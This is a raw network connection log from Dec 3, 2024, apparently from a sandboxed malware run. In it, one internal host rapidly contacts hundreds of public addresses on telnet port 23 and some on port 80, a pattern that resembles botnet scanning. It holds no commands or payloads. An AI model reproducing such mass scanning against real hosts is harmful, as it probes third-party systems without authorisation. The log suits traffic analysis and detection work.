Dec 3, 2024 21:47:23.207459927 CET	40955	23	192.168.2.13	42.52.31.90
Dec 3, 2024 21:47:23.207463026 CET	40955	23	192.168.2.13	179.213.211.255
Dec 3, 2024 21:47:23.207463026 CET	40955	23	192.168.2.13	85.209.158.197
Dec 3, 2024 21:47:23.207464933 CET	40955	23	192.168.2.13	198.199.40.254
Dec 3, 2024 21:47:23.207467079 CET	40955	23	192.168.2.13	67.136.33.166
Dec 3, 2024 21:47:23.207470894 CET	40955	23	192.168.2.13	161.157.237.113
Dec 3, 2024 21:47:23.207470894 CET	40955	23	192.168.2.13	63.237.103.44
Dec 3, 2024 21:47:23.207472086 CET	40955	23	192.168.2.13	4.39.189.93
Dec 3, 2024 21:47:23.207477093 CET	40955	23	192.168.2.13	44.19.152.54
Dec 3, 2024 21:47:23.207477093 CET	40955	23	192.168.2.13	24.203.122.202
Dec 3, 2024 21:47:23.207478046 CET	40955	23	192.168.2.13	138.96.212.180
Dec 3, 2024 21:47:23.207477093 CET	40955	23	192.168.2.13	51.130.46.77
Dec 3, 2024 21:47:23.207478046 CET	40955	23	192.168.2.13	24.170.142.176
Dec 3, 2024 21:47:23.207479000 CET	40955	23	192.168.2.13	69.112.32.72
Dec 3, 2024 21:47:23.207489967 CET	40955	23	192.168.2.13	152.84.34.138
Dec 3, 2024 21:47:23.207493067 CET	40955	23	192.168.2.13	4.230.242.240
Dec 3, 2024 21:47:23.207493067 CET	40955	23	192.168.2.13	143.45.239.75
Dec 3, 2024 21:47:23.207494020 CET	40955	23	192.168.2.13	192.249.254.51
Dec 3, 2024 21:47:23.207493067 CET	40955	23	192.168.2.13	97.128.167.237
Dec 3, 2024 21:47:23.207496881 CET	40955	23	192.168.2.13	142.195.247.42
Dec 3, 2024 21:47:23.207493067 CET	40955	23	192.168.2.13	159.72.57.209
Dec 3, 2024 21:47:23.207494020 CET	40955	23	192.168.2.13	70.150.45.34
Dec 3, 2024 21:47:23.207494020 CET	40955	23	192.168.2.13	101.82.129.142
Dec 3, 2024 21:47:23.207496881 CET	40955	23	192.168.2.13	36.166.36.124
Dec 3, 2024 21:47:23.207494020 CET	40955	23	192.168.2.13	132.232.186.239
Dec 3, 2024 21:47:23.207506895 CET	40955	23	192.168.2.13	140.77.192.160
Dec 3, 2024 21:47:23.207509041 CET	40955	23	192.168.2.13	195.74.161.151
Dec 3, 2024 21:47:23.207509041 CET	40955	23	192.168.2.13	204.87.30.97
Dec 3, 2024 21:47:23.207509041 CET	40955	23	192.168.2.13	109.1.149.127
Dec 3, 2024 21:47:23.207510948 CET	40955	23	192.168.2.13	166.192.119.186
Dec 3, 2024 21:47:23.207510948 CET	40955	23	192.168.2.13	218.36.36.62
Dec 3, 2024 21:47:23.207521915 CET	40955	23	192.168.2.13	102.231.216.218
Dec 3, 2024 21:47:23.207529068 CET	40955	23	192.168.2.13	58.42.211.204
Dec 3, 2024 21:47:23.207536936 CET	40955	23	192.168.2.13	122.163.55.173
Dec 3, 2024 21:47:23.207541943 CET	40955	23	192.168.2.13	206.196.31.41
Dec 3, 2024 21:47:23.207552910 CET	40955	23	192.168.2.13	171.136.54.4
Dec 3, 2024 21:47:23.207557917 CET	40955	23	192.168.2.13	46.164.182.45
Dec 3, 2024 21:47:23.207562923 CET	40955	23	192.168.2.13	196.92.71.228
Dec 3, 2024 21:47:23.207568884 CET	40955	23	192.168.2.13	54.95.181.173
Dec 3, 2024 21:47:23.207575083 CET	40955	23	192.168.2.13	172.79.45.15
Dec 3, 2024 21:47:23.207591057 CET	40955	23	192.168.2.13	58.96.89.113
Dec 3, 2024 21:47:23.207591057 CET	40955	23	192.168.2.13	155.221.124.2
Dec 3, 2024 21:47:23.207601070 CET	40955	23	192.168.2.13	140.185.178.244
Dec 3, 2024 21:47:23.207606077 CET	40955	23	192.168.2.13	147.67.82.100
Dec 3, 2024 21:47:23.207607985 CET	40955	23	192.168.2.13	185.83.23.201
Dec 3, 2024 21:47:23.207622051 CET	40955	23	192.168.2.13	25.202.30.21
Dec 3, 2024 21:47:23.207623959 CET	40955	23	192.168.2.13	162.72.15.137
Dec 3, 2024 21:47:23.207629919 CET	40955	23	192.168.2.13	17.102.65.127
Dec 3, 2024 21:47:23.207638025 CET	40955	23	192.168.2.13	150.95.234.142
Dec 3, 2024 21:47:23.207653046 CET	40955	23	192.168.2.13	141.127.214.58
Dec 3, 2024 21:47:23.207654953 CET	40955	23	192.168.2.13	79.154.22.46
Dec 3, 2024 21:47:23.207657099 CET	40955	23	192.168.2.13	66.74.135.48
Dec 3, 2024 21:47:23.207668066 CET	40955	23	192.168.2.13	213.88.222.168
Dec 3, 2024 21:47:23.207673073 CET	40955	23	192.168.2.13	142.22.116.195
Dec 3, 2024 21:47:23.207675934 CET	40955	23	192.168.2.13	183.204.177.198
Dec 3, 2024 21:47:23.207688093 CET	40955	23	192.168.2.13	219.112.92.236
Dec 3, 2024 21:47:23.207695961 CET	40955	23	192.168.2.13	124.197.201.160
Dec 3, 2024 21:47:23.207699060 CET	40955	23	192.168.2.13	106.13.172.153
Dec 3, 2024 21:47:23.207701921 CET	40955	23	192.168.2.13	44.130.115.52
Dec 3, 2024 21:47:23.207709074 CET	40955	23	192.168.2.13	185.217.7.144
Dec 3, 2024 21:47:23.207720995 CET	40955	23	192.168.2.13	117.20.140.187
Dec 3, 2024 21:47:23.207730055 CET	40955	23	192.168.2.13	191.136.231.235
Dec 3, 2024 21:47:23.207730055 CET	40955	23	192.168.2.13	91.232.226.97
Dec 3, 2024 21:47:23.207735062 CET	40955	23	192.168.2.13	183.210.254.24
Dec 3, 2024 21:47:23.207746983 CET	40955	23	192.168.2.13	105.135.189.191
Dec 3, 2024 21:47:23.207747936 CET	40955	23	192.168.2.13	143.211.21.94
Dec 3, 2024 21:47:23.207751989 CET	40955	23	192.168.2.13	65.228.75.156
Dec 3, 2024 21:47:23.207760096 CET	40955	23	192.168.2.13	49.182.182.90
Dec 3, 2024 21:47:23.207767010 CET	40955	23	192.168.2.13	220.30.24.163
Dec 3, 2024 21:47:23.207779884 CET	40955	23	192.168.2.13	201.177.147.13
Dec 3, 2024 21:47:23.207782030 CET	40955	23	192.168.2.13	188.25.227.154
Dec 3, 2024 21:47:23.207782030 CET	40955	23	192.168.2.13	170.166.104.163
Dec 3, 2024 21:47:23.207791090 CET	40955	23	192.168.2.13	34.194.1.168
Dec 3, 2024 21:47:23.207807064 CET	40955	23	192.168.2.13	41.206.210.76
Dec 3, 2024 21:47:23.207808018 CET	40955	23	192.168.2.13	216.186.185.179
Dec 3, 2024 21:47:23.207820892 CET	40955	23	192.168.2.13	66.103.89.97
Dec 3, 2024 21:47:23.207823992 CET	40955	23	192.168.2.13	183.209.120.139
Dec 3, 2024 21:47:23.207824945 CET	40955	23	192.168.2.13	87.234.212.125
Dec 3, 2024 21:47:23.207824945 CET	40955	23	192.168.2.13	125.254.90.130
Dec 3, 2024 21:47:23.207824945 CET	40955	23	192.168.2.13	163.30.200.167
Dec 3, 2024 21:47:23.207824945 CET	40955	23	192.168.2.13	115.164.224.50
Dec 3, 2024 21:47:23.207827091 CET	40955	23	192.168.2.13	222.219.201.136
Dec 3, 2024 21:47:23.207824945 CET	40955	23	192.168.2.13	222.234.221.18
Dec 3, 2024 21:47:23.207824945 CET	40955	23	192.168.2.13	17.42.109.152
Dec 3, 2024 21:47:23.207832098 CET	40955	23	192.168.2.13	102.19.96.46
Dec 3, 2024 21:47:23.207832098 CET	40955	23	192.168.2.13	69.162.80.45
Dec 3, 2024 21:47:23.207834959 CET	40955	23	192.168.2.13	159.5.5.6
Dec 3, 2024 21:47:23.207839012 CET	40955	23	192.168.2.13	89.117.243.200
Dec 3, 2024 21:47:23.207842112 CET	40955	23	192.168.2.13	137.47.148.215
Dec 3, 2024 21:47:23.207842112 CET	40955	23	192.168.2.13	168.246.203.74
Dec 3, 2024 21:47:23.207842112 CET	40955	23	192.168.2.13	111.199.239.167
Dec 3, 2024 21:47:23.207844019 CET	40955	23	192.168.2.13	60.109.71.57
Dec 3, 2024 21:47:23.207844973 CET	40955	23	192.168.2.13	189.78.167.207
Dec 3, 2024 21:47:23.207845926 CET	40955	23	192.168.2.13	83.121.198.183
Dec 3, 2024 21:47:23.207849979 CET	40955	23	192.168.2.13	80.120.55.248
Dec 3, 2024 21:47:23.207849979 CET	40955	23	192.168.2.13	223.30.68.179
Dec 3, 2024 21:47:23.207849979 CET	40955	23	192.168.2.13	128.197.51.84
Dec 3, 2024 21:47:23.207853079 CET	40955	23	192.168.2.13	118.43.30.205
Dec 3, 2024 21:47:23.207853079 CET	40955	23	192.168.2.13	194.123.186.216
Dec 3, 2024 21:47:23.207859039 CET	40955	23	192.168.2.13	40.192.232.14
Dec 3, 2024 21:47:23.207859039 CET	40955	23	192.168.2.13	82.111.29.188
Dec 3, 2024 21:47:23.207875967 CET	40955	23	192.168.2.13	222.241.121.105
Dec 3, 2024 21:47:23.207876921 CET	40955	23	192.168.2.13	92.167.70.42
Dec 3, 2024 21:47:23.207876921 CET	40955	23	192.168.2.13	213.239.34.186
Dec 3, 2024 21:47:23.207878113 CET	40955	23	192.168.2.13	207.222.33.201
Dec 3, 2024 21:47:23.207880020 CET	40955	23	192.168.2.13	182.98.57.207
Dec 3, 2024 21:47:23.207882881 CET	40955	23	192.168.2.13	142.128.242.195
Dec 3, 2024 21:47:23.207884073 CET	40955	23	192.168.2.13	34.132.152.230
Dec 3, 2024 21:47:23.207886934 CET	40955	23	192.168.2.13	175.131.12.135
Dec 3, 2024 21:47:23.207890034 CET	40955	23	192.168.2.13	177.131.83.196
Dec 3, 2024 21:47:23.207902908 CET	40955	23	192.168.2.13	167.202.251.63
Dec 3, 2024 21:47:23.207905054 CET	40955	23	192.168.2.13	90.223.165.96
Dec 3, 2024 21:47:23.207914114 CET	40955	23	192.168.2.13	111.221.68.254
Dec 3, 2024 21:47:23.207914114 CET	40955	23	192.168.2.13	126.232.173.20
Dec 3, 2024 21:47:23.207925081 CET	40955	23	192.168.2.13	141.76.206.44
Dec 3, 2024 21:47:23.207926989 CET	40955	23	192.168.2.13	134.147.135.101
Dec 3, 2024 21:47:23.207932949 CET	40955	23	192.168.2.13	125.72.26.180
Dec 3, 2024 21:47:23.207932949 CET	40955	23	192.168.2.13	102.255.104.63
Dec 3, 2024 21:47:23.207937002 CET	40955	23	192.168.2.13	89.9.6.197
Dec 3, 2024 21:47:23.207937002 CET	40955	23	192.168.2.13	177.120.64.75
Dec 3, 2024 21:47:23.207937002 CET	40955	23	192.168.2.13	223.247.55.92
Dec 3, 2024 21:47:23.207942963 CET	40955	23	192.168.2.13	77.163.254.127
Dec 3, 2024 21:47:23.207950115 CET	40955	23	192.168.2.13	155.89.246.93
Dec 3, 2024 21:47:23.207957029 CET	40955	23	192.168.2.13	172.108.197.211
Dec 3, 2024 21:47:23.207957983 CET	40955	23	192.168.2.13	54.12.144.100
Dec 3, 2024 21:47:23.207971096 CET	40955	23	192.168.2.13	177.141.233.146
Dec 3, 2024 21:47:23.207973003 CET	40955	23	192.168.2.13	118.120.153.150
Dec 3, 2024 21:47:23.207973003 CET	40955	23	192.168.2.13	50.211.252.31
Dec 3, 2024 21:47:23.207973003 CET	40955	23	192.168.2.13	65.190.216.25
Dec 3, 2024 21:47:23.207983017 CET	40955	23	192.168.2.13	48.10.203.54
Dec 3, 2024 21:47:23.207983017 CET	40955	23	192.168.2.13	205.223.148.175
Dec 3, 2024 21:47:23.207983017 CET	40955	23	192.168.2.13	176.37.7.199
Dec 3, 2024 21:47:23.207994938 CET	40955	23	192.168.2.13	5.95.16.104
Dec 3, 2024 21:47:23.207995892 CET	40955	23	192.168.2.13	188.164.6.166
Dec 3, 2024 21:47:23.208003998 CET	40955	23	192.168.2.13	123.16.32.127
Dec 3, 2024 21:47:23.208003998 CET	40955	23	192.168.2.13	79.201.64.37
Dec 3, 2024 21:47:23.208019018 CET	40955	23	192.168.2.13	110.80.210.232
Dec 3, 2024 21:47:23.208023071 CET	40955	23	192.168.2.13	174.55.89.254
Dec 3, 2024 21:47:23.208024025 CET	40955	23	192.168.2.13	121.82.135.45
Dec 3, 2024 21:47:23.208024025 CET	40955	23	192.168.2.13	13.192.219.56
Dec 3, 2024 21:47:23.208031893 CET	40955	23	192.168.2.13	125.241.47.243
Dec 3, 2024 21:47:23.208043098 CET	40955	23	192.168.2.13	71.38.232.2
Dec 3, 2024 21:47:23.208043098 CET	40955	23	192.168.2.13	152.240.186.99
Dec 3, 2024 21:47:23.208060980 CET	40955	23	192.168.2.13	124.135.228.34
Dec 3, 2024 21:47:23.208061934 CET	40955	23	192.168.2.13	173.223.192.15
Dec 3, 2024 21:47:23.208070040 CET	40955	23	192.168.2.13	76.189.251.22
Dec 3, 2024 21:47:23.208081961 CET	40955	23	192.168.2.13	87.113.216.102
Dec 3, 2024 21:47:23.208081961 CET	40955	23	192.168.2.13	2.107.51.2
Dec 3, 2024 21:47:23.208081961 CET	40955	23	192.168.2.13	8.42.57.88
Dec 3, 2024 21:47:23.208093882 CET	40955	23	192.168.2.13	130.248.83.69
Dec 3, 2024 21:47:23.208103895 CET	40955	23	192.168.2.13	31.131.156.92
Dec 3, 2024 21:47:23.208127975 CET	40955	23	192.168.2.13	217.104.40.176
Dec 3, 2024 21:47:23.208127975 CET	40955	23	192.168.2.13	136.167.157.117
Dec 3, 2024 21:47:23.208127975 CET	40955	23	192.168.2.13	139.230.123.188
Dec 3, 2024 21:47:23.208127975 CET	40955	23	192.168.2.13	43.119.242.70
Dec 3, 2024 21:47:23.208127975 CET	40955	23	192.168.2.13	132.122.88.44
Dec 3, 2024 21:47:23.208128929 CET	40955	23	192.168.2.13	52.184.179.50
Dec 3, 2024 21:47:23.208132029 CET	40955	23	192.168.2.13	196.35.34.138
Dec 3, 2024 21:47:23.208132982 CET	40955	23	192.168.2.13	71.186.235.234
Dec 3, 2024 21:47:23.208132982 CET	40955	23	192.168.2.13	121.125.207.181
Dec 3, 2024 21:47:23.208138943 CET	40955	23	192.168.2.13	132.92.77.48
Dec 3, 2024 21:47:23.208141088 CET	40955	23	192.168.2.13	123.95.81.151
Dec 3, 2024 21:47:23.208141088 CET	40955	23	192.168.2.13	164.121.170.42
Dec 3, 2024 21:47:23.208141088 CET	40955	23	192.168.2.13	89.126.236.155
Dec 3, 2024 21:47:23.208142042 CET	40955	23	192.168.2.13	90.55.228.90
Dec 3, 2024 21:47:23.208146095 CET	40955	23	192.168.2.13	36.155.103.166
Dec 3, 2024 21:47:23.208151102 CET	40955	23	192.168.2.13	195.255.191.166
Dec 3, 2024 21:47:23.208153963 CET	40955	23	192.168.2.13	40.59.243.169
Dec 3, 2024 21:47:23.208163023 CET	40955	23	192.168.2.13	116.83.85.117
Dec 3, 2024 21:47:23.208163977 CET	40955	23	192.168.2.13	5.45.179.164
Dec 3, 2024 21:47:23.208163023 CET	40955	23	192.168.2.13	200.111.127.243
Dec 3, 2024 21:47:23.208167076 CET	40955	23	192.168.2.13	223.169.230.111
Dec 3, 2024 21:47:23.208179951 CET	40955	23	192.168.2.13	40.46.53.100
Dec 3, 2024 21:47:23.208179951 CET	40955	23	192.168.2.13	207.129.46.50
Dec 3, 2024 21:47:23.208187103 CET	40955	23	192.168.2.13	23.161.125.115
Dec 3, 2024 21:47:23.208189964 CET	40955	23	192.168.2.13	161.186.230.190
Dec 3, 2024 21:47:23.208201885 CET	40955	23	192.168.2.13	133.33.7.58
Dec 3, 2024 21:47:23.208208084 CET	40955	23	192.168.2.13	38.159.32.74
Dec 3, 2024 21:47:23.208210945 CET	40955	23	192.168.2.13	137.72.202.143
Dec 3, 2024 21:47:23.208220959 CET	40955	23	192.168.2.13	5.160.244.192
Dec 3, 2024 21:47:23.208225965 CET	40955	23	192.168.2.13	114.144.39.131
Dec 3, 2024 21:47:23.208228111 CET	40955	23	192.168.2.13	97.96.127.118
Dec 3, 2024 21:47:23.208228111 CET	40955	23	192.168.2.13	95.187.71.55
Dec 3, 2024 21:47:23.208237886 CET	40955	23	192.168.2.13	62.47.207.217
Dec 3, 2024 21:47:23.208241940 CET	40955	23	192.168.2.13	50.239.29.187
Dec 3, 2024 21:47:23.208250999 CET	40955	23	192.168.2.13	112.144.29.190
Dec 3, 2024 21:47:23.208266020 CET	40955	23	192.168.2.13	146.88.231.75
Dec 3, 2024 21:47:23.208267927 CET	40955	23	192.168.2.13	170.178.22.56
Dec 3, 2024 21:47:23.208267927 CET	40955	23	192.168.2.13	76.194.137.251
Dec 3, 2024 21:47:23.208285093 CET	40955	23	192.168.2.13	8.1.164.144
Dec 3, 2024 21:47:23.208287954 CET	40955	23	192.168.2.13	34.94.165.110
Dec 3, 2024 21:47:23.208293915 CET	40955	23	192.168.2.13	99.184.53.197
Dec 3, 2024 21:47:23.208297014 CET	40955	23	192.168.2.13	218.13.18.212
Dec 3, 2024 21:47:23.208297968 CET	40955	23	192.168.2.13	53.18.255.86
Dec 3, 2024 21:47:23.208297968 CET	40955	23	192.168.2.13	130.221.156.235
Dec 3, 2024 21:47:23.208304882 CET	40955	23	192.168.2.13	5.113.188.109
Dec 3, 2024 21:47:23.208308935 CET	40955	23	192.168.2.13	151.92.140.236
Dec 3, 2024 21:47:23.208314896 CET	40955	23	192.168.2.13	137.79.173.150
Dec 3, 2024 21:47:23.208326101 CET	40955	23	192.168.2.13	171.177.162.203
Dec 3, 2024 21:47:23.208329916 CET	40955	23	192.168.2.13	182.133.139.53
Dec 3, 2024 21:47:23.208331108 CET	40955	23	192.168.2.13	79.123.133.113
Dec 3, 2024 21:47:23.208344936 CET	40955	23	192.168.2.13	130.151.13.167
Dec 3, 2024 21:47:23.208345890 CET	40955	23	192.168.2.13	42.11.117.247
Dec 3, 2024 21:47:23.208345890 CET	40955	23	192.168.2.13	142.45.31.135
Dec 3, 2024 21:47:23.208363056 CET	40955	23	192.168.2.13	175.201.199.146
Dec 3, 2024 21:47:23.208364010 CET	40955	23	192.168.2.13	195.52.91.136
Dec 3, 2024 21:47:23.208367109 CET	40955	23	192.168.2.13	78.106.154.76
Dec 3, 2024 21:47:23.208367109 CET	40955	23	192.168.2.13	85.102.131.198
Dec 3, 2024 21:47:23.208369017 CET	40955	23	192.168.2.13	112.66.157.241
Dec 3, 2024 21:47:23.208372116 CET	40955	23	192.168.2.13	105.23.0.91
Dec 3, 2024 21:47:23.208374023 CET	40955	23	192.168.2.13	45.104.32.208
Dec 3, 2024 21:47:23.208383083 CET	40955	23	192.168.2.13	153.50.23.140
Dec 3, 2024 21:47:23.208384991 CET	40955	23	192.168.2.13	222.26.84.182
Dec 3, 2024 21:47:23.208391905 CET	40955	23	192.168.2.13	128.13.59.83
Dec 3, 2024 21:47:23.208400965 CET	40955	23	192.168.2.13	63.34.202.123
Dec 3, 2024 21:47:23.208401918 CET	40955	23	192.168.2.13	131.28.105.206
Dec 3, 2024 21:47:23.208409071 CET	40955	23	192.168.2.13	175.208.108.213
Dec 3, 2024 21:47:23.208409071 CET	40955	23	192.168.2.13	107.248.238.18
Dec 3, 2024 21:47:23.208420992 CET	40955	23	192.168.2.13	95.28.28.169
Dec 3, 2024 21:47:23.208420992 CET	40955	23	192.168.2.13	52.13.210.42
Dec 3, 2024 21:47:23.208424091 CET	40955	23	192.168.2.13	48.201.45.92
Dec 3, 2024 21:47:23.208425999 CET	40955	23	192.168.2.13	102.91.139.40
Dec 3, 2024 21:47:23.208434105 CET	40955	23	192.168.2.13	211.165.47.238
Dec 3, 2024 21:47:23.208446026 CET	40955	23	192.168.2.13	178.184.91.43
Dec 3, 2024 21:47:23.208453894 CET	40955	23	192.168.2.13	163.127.157.126
Dec 3, 2024 21:47:23.208458900 CET	40955	23	192.168.2.13	130.232.144.45
Dec 3, 2024 21:47:23.208463907 CET	40955	23	192.168.2.13	206.8.81.76
Dec 3, 2024 21:47:23.208472013 CET	40955	23	192.168.2.13	151.137.229.255
Dec 3, 2024 21:47:23.208478928 CET	40955	23	192.168.2.13	196.24.202.194
Dec 3, 2024 21:47:23.208486080 CET	40955	23	192.168.2.13	113.89.46.198
Dec 3, 2024 21:47:23.208486080 CET	40955	23	192.168.2.13	110.47.217.153
Dec 3, 2024 21:47:23.208503962 CET	40955	23	192.168.2.13	98.167.220.193
Dec 3, 2024 21:47:23.208506107 CET	40955	23	192.168.2.13	141.190.210.162
Dec 3, 2024 21:47:23.208508015 CET	40955	23	192.168.2.13	167.103.159.101
Dec 3, 2024 21:47:23.208514929 CET	40955	23	192.168.2.13	158.104.70.248
Dec 3, 2024 21:47:23.208515882 CET	40955	23	192.168.2.13	175.44.182.135
Dec 3, 2024 21:47:23.208534956 CET	40955	23	192.168.2.13	82.158.247.21
Dec 3, 2024 21:47:23.208534956 CET	40955	23	192.168.2.13	110.220.137.145
Dec 3, 2024 21:47:23.208537102 CET	40955	23	192.168.2.13	213.13.27.211
Dec 3, 2024 21:47:23.208553076 CET	40955	23	192.168.2.13	121.60.2.159
Dec 3, 2024 21:47:23.208554983 CET	40955	23	192.168.2.13	59.144.96.58
Dec 3, 2024 21:47:23.208554983 CET	40955	23	192.168.2.13	79.211.36.49
Dec 3, 2024 21:47:23.208569050 CET	40955	23	192.168.2.13	43.222.165.199
Dec 3, 2024 21:47:23.208589077 CET	40955	23	192.168.2.13	206.254.230.199
Dec 3, 2024 21:47:23.208592892 CET	40955	23	192.168.2.13	20.183.190.4
Dec 3, 2024 21:47:23.208592892 CET	40955	23	192.168.2.13	162.130.36.192
Dec 3, 2024 21:47:23.208606005 CET	40955	23	192.168.2.13	153.162.170.214
Dec 3, 2024 21:47:23.208606958 CET	40955	23	192.168.2.13	197.38.173.159
Dec 3, 2024 21:47:23.208609104 CET	40955	23	192.168.2.13	183.4.35.34
Dec 3, 2024 21:47:23.208617926 CET	40955	23	192.168.2.13	196.190.148.107
Dec 3, 2024 21:47:23.208632946 CET	40955	23	192.168.2.13	43.93.254.67
Dec 3, 2024 21:47:23.208633900 CET	40955	23	192.168.2.13	105.75.170.82
Dec 3, 2024 21:47:23.208650112 CET	40955	23	192.168.2.13	180.207.75.234
Dec 3, 2024 21:47:23.208651066 CET	40955	23	192.168.2.13	220.35.41.88
Dec 3, 2024 21:47:23.208656073 CET	40955	23	192.168.2.13	72.39.252.83
Dec 3, 2024 21:47:23.208658934 CET	40955	23	192.168.2.13	175.28.163.210
Dec 3, 2024 21:47:23.208662987 CET	40955	23	192.168.2.13	173.156.156.120
Dec 3, 2024 21:47:23.208664894 CET	40955	23	192.168.2.13	112.167.146.211
Dec 3, 2024 21:47:23.208666086 CET	40955	23	192.168.2.13	183.191.151.111
Dec 3, 2024 21:47:23.208666086 CET	40955	23	192.168.2.13	122.173.112.245
Dec 3, 2024 21:47:23.208678007 CET	40955	23	192.168.2.13	137.183.66.172
Dec 3, 2024 21:47:23.208678961 CET	40955	23	192.168.2.13	199.183.97.126
Dec 3, 2024 21:47:23.209379911 CET	58696	23	192.168.2.13	23.197.79.26
Dec 3, 2024 21:47:23.210047960 CET	37226	23	192.168.2.13	199.141.29.197
Dec 3, 2024 21:47:23.210724115 CET	57118	23	192.168.2.13	34.210.178.7
Dec 3, 2024 21:47:23.211416006 CET	59678	23	192.168.2.13	84.218.50.70
Dec 3, 2024 21:47:23.212061882 CET	53712	23	192.168.2.13	192.105.81.173
Dec 3, 2024 21:47:23.212744951 CET	56956	23	192.168.2.13	218.167.182.154
Dec 3, 2024 21:47:23.213367939 CET	36692	23	192.168.2.13	43.99.84.63
Dec 3, 2024 21:47:23.213974953 CET	34128	23	192.168.2.13	60.73.255.250
Dec 3, 2024 21:47:23.214648962 CET	59528	23	192.168.2.13	169.186.76.182
Dec 3, 2024 21:47:23.215274096 CET	40406	23	192.168.2.13	178.90.53.135
Dec 3, 2024 21:47:23.215898991 CET	34566	23	192.168.2.13	185.229.236.203
Dec 3, 2024 21:47:23.218172073 CET	23	49952	14.100.79.120	192.168.2.13
Dec 3, 2024 21:47:23.218235016 CET	49952	23	192.168.2.13	14.100.79.120
Dec 3, 2024 21:47:23.220592022 CET	57058	80	192.168.2.13	128.218.148.72
Dec 3, 2024 21:47:23.220597029 CET	37350	80	192.168.2.13	116.147.27.49
Dec 3, 2024 21:47:23.220597029 CET	53246	80	192.168.2.13	208.91.209.54
Dec 3, 2024 21:47:23.220597029 CET	56416	80	192.168.2.13	101.1.73.203
Dec 3, 2024 21:47:23.220613956 CET	54320	80	192.168.2.13	89.9.140.26
Dec 3, 2024 21:47:23.220614910 CET	51828	80	192.168.2.13	219.115.34.124
Dec 3, 2024 21:47:23.220616102 CET	57576	80	192.168.2.13	135.22.204.152
Dec 3, 2024 21:47:23.220614910 CET	38312	80	192.168.2.13	94.2.223.202
Dec 3, 2024 21:47:23.220648050 CET	50096	80	192.168.2.13	87.46.134.230
Dec 3, 2024 21:47:23.220653057 CET	52038	80	192.168.2.13	151.199.164.101
Dec 3, 2024 21:47:23.220662117 CET	59400	80	192.168.2.13	206.17.226.29
Dec 3, 2024 21:47:23.220663071 CET	33310	80	192.168.2.13	84.115.17.222
Dec 3, 2024 21:47:23.220664024 CET	47062	80	192.168.2.13	167.129.209.249
Dec 3, 2024 21:47:23.220664024 CET	50434	80	192.168.2.13	14.244.19.249
Dec 3, 2024 21:47:23.220663071 CET	50048	80	192.168.2.13	217.9.92.75
Dec 3, 2024 21:47:23.220663071 CET	37184	80	192.168.2.13	49.175.230.209
Dec 3, 2024 21:47:23.220663071 CET	38602	80	192.168.2.13	87.2.29.201
Dec 3, 2024 21:47:23.220666885 CET	44326	80	192.168.2.13	165.66.103.50
Dec 3, 2024 21:47:23.224956036 CET	23	56726	80.57.59.152	192.168.2.13
Dec 3, 2024 21:47:23.225012064 CET	56726	23	192.168.2.13	80.57.59.152
Dec 3, 2024 21:47:23.228960037 CET	48160	23	192.168.2.13	121.34.159.219
Dec 3, 2024 21:47:23.229579926 CET	60824	23	192.168.2.13	23.186.252.78
Dec 3, 2024 21:47:23.230163097 CET	54972	23	192.168.2.13	82.16.186.186
Dec 3, 2024 21:47:23.230750084 CET	42530	23	192.168.2.13	216.212.196.230
Dec 3, 2024 21:47:23.231383085 CET	53592	23	192.168.2.13	167.70.21.246
Dec 3, 2024 21:47:23.231991053 CET	57260	23	192.168.2.13	156.254.170.22
Dec 3, 2024 21:47:23.232589006 CET	34682	23	192.168.2.13	25.158.72.231
Dec 3, 2024 21:47:23.233207941 CET	34742	23	192.168.2.13	37.25.71.45
Dec 3, 2024 21:47:23.233809948 CET	54070	23	192.168.2.13	67.218.64.71
Dec 3, 2024 21:47:23.234395981 CET	57628	23	192.168.2.13	170.42.28.214
Dec 3, 2024 21:47:23.235008955 CET	45664	23	192.168.2.13	146.153.47.191
Dec 3, 2024 21:47:23.235610962 CET	43958	23	192.168.2.13	89.254.166.46
Dec 3, 2024 21:47:23.236202002 CET	39704	23	192.168.2.13	109.198.207.218
Dec 3, 2024 21:47:23.236778975 CET	46324	23	192.168.2.13	175.247.55.142
Dec 3, 2024 21:47:23.237339020 CET	54528	23	192.168.2.13	178.34.211.147
Dec 3, 2024 21:47:23.237945080 CET	33998	23	192.168.2.13	19.80.3.128
Dec 3, 2024 21:47:23.238498926 CET	36368	23	192.168.2.13	68.252.147.39
Dec 3, 2024 21:47:23.239089012 CET	59482	23	192.168.2.13	38.63.8.234
Dec 3, 2024 21:47:23.239659071 CET	49118	23	192.168.2.13	62.124.111.205
Dec 3, 2024 21:47:23.240207911 CET	50362	23	192.168.2.13	31.178.176.234
Dec 3, 2024 21:47:23.240806103 CET	46002	23	192.168.2.13	44.60.205.233
Dec 3, 2024 21:47:23.241328955 CET	37992	23	192.168.2.13	206.48.126.221
Dec 3, 2024 21:47:23.241872072 CET	47762	23	192.168.2.13	48.236.76.173
Dec 3, 2024 21:47:23.242414951 CET	49000	23	192.168.2.13	167.235.6.156
Dec 3, 2024 21:47:23.242959023 CET	59248	23	192.168.2.13	43.84.8.246
Dec 3, 2024 21:47:23.243503094 CET	39012	23	192.168.2.13	83.212.235.239
Dec 3, 2024 21:47:23.244030952 CET	48862	23	192.168.2.13	73.150.150.92
Dec 3, 2024 21:47:23.244574070 CET	38854	23	192.168.2.13	92.116.202.160
Dec 3, 2024 21:47:23.245114088 CET	43674	23	192.168.2.13	79.237.116.3
Dec 3, 2024 21:47:23.245625019 CET	36322	23	192.168.2.13	129.154.32.145
Dec 3, 2024 21:47:23.246144056 CET	47202	23	192.168.2.13	128.70.76.96
Dec 3, 2024 21:47:23.246656895 CET	54616	23	192.168.2.13	185.195.98.112
Dec 3, 2024 21:47:23.247179985 CET	33648	23	192.168.2.13	207.107.124.204
Dec 3, 2024 21:47:23.247725964 CET	48786	23	192.168.2.13	111.202.32.216
Dec 3, 2024 21:47:23.248265982 CET	42514	23	192.168.2.13	107.5.91.234
Dec 3, 2024 21:47:23.248821974 CET	36798	23	192.168.2.13	85.109.68.206
Dec 3, 2024 21:47:23.249372959 CET	40520	23	192.168.2.13	163.93.63.211
Dec 3, 2024 21:47:23.249989986 CET	58078	23	192.168.2.13	102.57.90.23
Dec 3, 2024 21:47:23.250545025 CET	60976	23	192.168.2.13	137.135.19.123
Dec 3, 2024 21:47:23.251053095 CET	45238	23	192.168.2.13	202.57.148.50
Dec 3, 2024 21:47:23.251610994 CET	35080	23	192.168.2.13	164.49.1.105
Dec 3, 2024 21:47:23.252178907 CET	34050	23	192.168.2.13	189.138.25.130
Dec 3, 2024 21:47:23.252763987 CET	38058	23	192.168.2.13	42.224.59.35
Dec 3, 2024 21:47:23.253350019 CET	52654	23	192.168.2.13	100.193.176.188
Dec 3, 2024 21:47:23.253937960 CET	59762	23	192.168.2.13	121.175.166.141
